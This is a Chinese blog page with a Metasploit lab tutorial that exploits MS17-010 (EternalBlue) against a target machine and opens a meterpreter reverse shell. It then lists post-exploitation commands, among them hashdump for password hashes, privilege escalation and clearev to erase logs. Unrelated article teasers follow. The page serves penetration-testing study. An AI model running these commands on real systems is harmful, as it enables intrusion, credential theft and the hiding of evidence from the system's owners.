当前位置: 首页 > news >正文

3、MSF使用

文章目录

  • 一、利用ms17-010漏洞对靶机执行溢出攻击
  • 二、后渗透模块meterpreter的使用

一、利用ms17-010漏洞对靶机执行溢出攻击

分别输入以下命令,使用ms17_010_eternalblue模块对目标机的ms17-010漏洞进行利用:

use exploit/windows/smb/ms17_010_eternalblue    //使用ms17_010_eternalblue模块
set RHOST [靶机IP]    //设置远程主机(靶机)的IP地址
set LHOST [操作机IP]   //设置本地主机(操作机)的IP地址
set payload windows/x64/meterpreter/reverse_tcp    //使用payload:meterpreter/reverse_tcp
set RPORT 445    //设置目标端口
set target 0    //设置目标操作系统类型(此处为自动识别类型) 
run    //执行

在这里插入图片描述
溢出攻击成功后,返回meterpreter提示符

在这里插入图片描述

常规情况下用exp攻破了系统,需要与靶机进行通信,以便操纵靶机,一般用反弹shell,这个反弹shell的代码就是payload

二、后渗透模块meterpreter的使用

pwd    //打印当前工作目录
sysinfo     // 查看系统信息
getuid      //获取当前权限的用户id
ps       //查看当前目标机上运行的进程列表和pid
getsystem      //获取system权限
screenshot    //截取目标主机当前屏幕
hashdump     //获取用户名与hash口令
shell     //获取目标主机shell
upload     //上传一个文件
download    //下载一个文件
execute     //执行目标系统中的文件(-f指定文件,-i执行可交互模式,-H隐藏窗口)
clearev    //清除日志
background    //将meterpreter放入后台(使用sessions -i重新连接到会话)

在这里插入图片描述

相关文章:

3、MSF使用

文章目录 一、利用ms17-010漏洞对靶机执行溢出攻击二、后渗透模块meterpreter的使用 一、利用ms17-010漏洞对靶机执行溢出攻击 分别输入以下命令,使用ms17_010_eternalblue模块对目标机的ms17-010漏洞进行利用: use exploit/windows/smb/ms17_010_eter…...

34970A 数据采集 / 数据记录仪开关单元

34970A 数据采集 / 数据记录仪开关单元 产品综述: Keysight 34970A 数据采集/数据记录仪开关单元由一个 3 插槽主机和一个内置的 6 1/2 位数字万用表组成。每个通道可以单独配置,以测量 11 种不同功能之一,这样既不会增加成本,也…...

BUUCTF刷题之路-web-[GXYCTF2019]Ping Ping Ping1

启动环境后,是一个简简单单的页面: 看样子是能够触发远程执行漏洞的。尝试下ping 127.0.0.1,如果有回显说明我们的想法是对的。 最近才学习的nc反弹shell。想着是否能用nc反弹shell的办法。控制服务器然后输出flag呢?于是我测试下…...

一、深入简出串口(USRT)通信——基本概念。

一、前言 串口到底是什么?简单来说一句话就可以解释,串口就是一种通信协议。 看到这里可能大家会觉得你这不是放屁么,说了跟没说一样。所以这里做前言来描述,大家要先对通信协议有一个下意识地认识才能在学习串口的时候不至于迷茫…...

采用connector-c++ 8.0操作数据库

1.下载最新的Connector https://dev.mysql.com/downloads/connector/cpp/,下载带debug的库。 解压缩到本地,本次使用的是带debug模式的connector库: 注:其中mysqlcppconn与mysqlcppconn8的区别是: 2.在cmakelist…...

【Java数据结构 -- 时间和空间复杂度】

时间和空间复杂度 1. 算法效率2. 时间复杂度2.1 时间复杂度的概念2.2 大O的渐进表示法2.3 推导大O阶方法2.4 常见时间复杂度计算举例例1例2例3例4 计算 bubbleSort的时间复杂度例5 计算binarySearch的时间复杂度?例6 计算阶乘递归factorial的时间复杂度?…...

【每日一题】1457. 二叉树中的伪回文路径-2023.11.25

题目: 1457. 二叉树中的伪回文路径 给你一棵二叉树,每个节点的值为 1 到 9 。我们称二叉树中的一条路径是 「伪回文」的,当它满足:路径经过的所有节点值的排列中,存在一个回文序列。 请你返回从根到叶子节点的所有路…...

能让PDF看起来像是扫描件的Look Scanned

什么是 Look Scanned ? Look Scanned 是一个能够让 PDF 看起来就像是扫描件一样的纯前端网站。你再也不需要麻烦地打印之后扫描了,你所需要的就是鼠标点几下。 这是个挺有意思的软件,但是老苏不确定什么场景下会用到这个软件,如果不想自己搭…...

RT-DETR 更换损失函数之 SIoU / EIoU / WIoU / Focal_xIoU

文章目录 更换方式CIoUDIoUEIoUGIoUSIoUWIoUFocal_CIoUFocal_DIoUFocal_EIoUFocal_GIoUFocal_SIoU提示更换方式 第一步:将ultralytics/ultralytics/utils/metrics.py文件中的bbox_iou替换为如下的代码:class...

代码随想录算法训练营第四十六天 | 139.单词拆分,多重背包,背包问题总结

目录 139.单词拆分 多重背包 背包问题总结 01背包 完全背包 多重背包 139.单词拆分 题目链接:139. 单词拆分 不要求字典中的单词全部使用,但是要求拆分的单词拆分成的每一个子串都是字典中的单词。 (1)dp[ i ] 表示前 i 个字符组成…...

opencv-Canny 边缘检测

Canny边缘检测是一种经典的图像边缘检测算法,它在图像中找到强度梯度的变化,从而识别出图像中的边缘。Canny边缘检测的优点包括高灵敏度和低误检率。 在OpenCV中,cv2.Canny() 函数用于执行Canny边缘检测。 基本语法如下: edges…...

案例023:基于微信小程序的童装商城的设计与实现

文末获取源码 开发语言:Java 框架:SSM JDK版本:JDK1.8 数据库:mysql 5.7 开发软件:eclipse/myeclipse/idea Maven包:Maven3.5.4 小程序框架:uniapp 小程序开发软件:HBuilder X 小程序…...

Ansible的循环:loop,with_<lookup>和until

环境 管理节点&#xff1a;Ubuntu 22.04控制节点&#xff1a;CentOS 8Ansible&#xff1a;2.15.6 循环的方法 loopwith_<lookup>until 用这几种方式都可以实现循环。其中&#xff0c; loop 是推荐的用法&#xff0c;在很多时候能够替换 with_<lookup> 。 loop…...

点云 surface 方法总结

点云的表面方法是指通过点云数据来估计和重建物体或场景的表面几何形状。下面总结了几种常见的点云表面方法&#xff1a; 三角化&#xff1a;三角化是最常用的点云表面重建方法之一。它将点云中的点连接成三角形网格&#xff0c;从而重建出物体或场景的表面。常见的三角化算法…...

深入探索Linux文件系统:属性、路径与隐藏之谜

&#x1f3a5; 屿小夏 &#xff1a; 个人主页 &#x1f525;个人专栏 &#xff1a; Linux系统理论 &#x1f304; 莫道桑榆晚&#xff0c;为霞尚满天&#xff01; 文章目录 &#x1f4d1;前言&#x1f324;️文件的组成☁️文件属性☁️文件内容☁️注意事项 &#x1f324;️路…...

梯度详解与优化实战

什么是梯度 对所有自变量求偏微分构成的向量&#xff0c;它是一个向量&#xff08;有大小和函数值增长方向&#xff09; 导数是一个标量 找最小值点坐标的案例 import torchimport numpy as np import matplotlib.pyplot as plt def himmelblau(x):return (x[0]**2x[1]-11)…...

OSG编程指南<十二>:OSG二三维文字创建及文字特效

1、字体基础知识 适当的文字信息对于显示场景信息是非常重要的。在 OSG 中&#xff0c;osgText提供了向场景中添加文字的强大功能&#xff0c;由于有第三方插件 FreeType 的支持&#xff0c;它完全支持TrueType 字体。很多人可能对 FreeType 和 TrueType 还不太了解&#xff0c…...

visionOS空间计算实战开发教程Day 6 拖拽和点击

在之前的学习中我们在空间中添加了3D模型&#xff0c;但在初始摆放后就无法再对其进行移动或做出修改。本节我们在​​Day 5​​显示和隐藏的基础上让我们模型可以实现拖拽效果&#xff0c;同时对纯色的立方体实现点击随机换色的功能。 首先是入口文件&#xff0c;无需做出改变…...

C# APS.NET CORE 6.0 WEB API IIS部署

1.创建 APS.NET CORE6.0 WEB API项目 默认选项即可 源代码&#xff1a; 项目文件展开&#xff1a; launchSettings.json {"$schema": "https://json.schemastore.org/launchsettings.json","iisSettings": {"windowsAuthentication"…...

C/C++ 常用加密与解密算法

计算机安全和数据隐私是现代应用程序设计中至关重要的方面。为了确保数据的机密性和完整性&#xff0c;常常需要使用加密和解密算法。C是一种广泛使用的编程语言&#xff0c;提供了许多加密和解密算法的实现。本文将介绍一些在C中常用的加密与解密算法&#xff0c;这其中包括Xo…...

我用AI给自己做了一场深度复盘

上一篇文章AI放大野心&#xff0c;用野心修炼内心里&#xff0c;我写了转型AI产品经理这四个月遇到的四面墙。 但那篇文章本身&#xff0c;就是一场复盘的产物。 准确地说&#xff0c;是我跟AI聊了两天&#xff0c;从"我感觉不太好"聊到挖出自己性格最底层的一个模…...

别再死磕Ubuntu16.04了!Zephyr RTOS环境搭建保姆级避坑指南(附nRF52840DK实战)

别再死磕Ubuntu16.04了&#xff01;Zephyr RTOS环境搭建保姆级避坑指南&#xff08;附nRF52840DK实战&#xff09; 如果你正在尝试搭建Zephyr RTOS开发环境&#xff0c;却频繁遭遇各种诡异错误&#xff0c;很可能是因为你还在使用Ubuntu 16.04这样的老旧系统版本。作为一款面向…...

JDK1.8环境下的AI应用开发:Phi-4-mini-reasoning与传统Java系统的集成案例

JDK1.8环境下的AI应用开发&#xff1a;Phi-4-mini-reasoning与传统Java系统的集成案例 1. 当老系统遇上新智能&#xff1a;传统Java的AI升级之路 "我们的核心业务系统还在用JDK1.8&#xff0c;难道就与AI无缘了吗&#xff1f;"这是许多企业技术负责人面临的现实困惑…...

Phi-3-mini-128k-instruct代码解释能力实测:逆向工程与文档生成

Phi-3-mini-128k-instruct代码解释能力实测&#xff1a;逆向工程与文档生成 最近在尝试一些新的代码辅助工具&#xff0c;发现微软开源的Phi-3-mini-128k-instruct模型挺有意思。它主打轻量化和指令跟随&#xff0c;特别是那个128k的超长上下文&#xff0c;理论上能塞进去不少代…...

【限时公开】某千亿级AI平台未披露的异常处理协议v3.2:支持跨Agent协作恢复的分布式Saga-LLM混合事务模型

第一章&#xff1a;AIAgent架构中的异常处理机制 2026奇点智能技术大会(https://ml-summit.org) 在AIAgent系统中&#xff0c;异常并非边缘场景&#xff0c;而是核心运行态的固有组成部分。当Agent执行任务链&#xff08;如“检索→推理→工具调用→响应生成”&#xff09;时&…...

【情感计算模块性能黄金标准】:IEEE P2892草案未公开的4项硬性指标(含微表情响应延迟≤83ms实测数据)

第一章&#xff1a;情感计算模块在AIAgent架构中的定位与演进脉络 2026奇点智能技术大会(https://ml-summit.org) 情感计算模块已从早期独立的情感识别插件&#xff0c;演变为AIAgent多模态认知闭环中不可或缺的语义调制中枢。它不再仅服务于“检测微笑是否代表愉悦”&#xf…...

高性能客服系统技术内幕:通过 SpinWait 自旋等待结构体提升高频消息分发性能骄

1. 智能软件工程的范式转移&#xff1a;从库集成到原生框架演进 在生成式人工智能&#xff08;Generative AI&#xff09;从单纯的文本生成向具备自主规划与执行能力的“代理化&#xff08;Agentic&#xff09;”系统跨越的过程中&#xff0c;.NET 生态系统正在经历一场自该平台…...

如何快速完成Axure RP汉化:零基础用户的完整中文界面解决方案

如何快速完成Axure RP汉化&#xff1a;零基础用户的完整中文界面解决方案 【免费下载链接】axure-cn Chinese language file for Axure RP. Axure RP 简体中文语言包。支持 Axure 11、10、9。不定期更新。 项目地址: https://gitcode.com/gh_mirrors/ax/axure-cn 还在为…...

【CVE-2026-25253】--漏洞复现、漏洞原理以及修复建议

前言‌ OpenClaw‌ 是一款 ‌开源、本地优先的 AI 智能体框架‌,核心目标是让 AI 从“只会聊天”升级为“能动手执行真实任务”,被社区亲切地称为“‌龙虾 AI‌”或“‌小龙虾‌”‌ 一、漏洞概述 1、详情 CVE-2026-25253是OpenClaw控制界面(Control UI)中存在的跨站We…...

Linux环境下高效获取SRA数据的四种方法及实战技巧

1. SRA数据库基础与数据获取逻辑 在生物信息学研究中&#xff0c;SRA&#xff08;Sequence Read Archive&#xff09;数据库堪称原始测序数据的宝库。这个由NCBI维护的数据库&#xff0c;就像是一个全球共享的测序数据图书馆&#xff0c;里面存放着来自各种测序平台&#xff08…...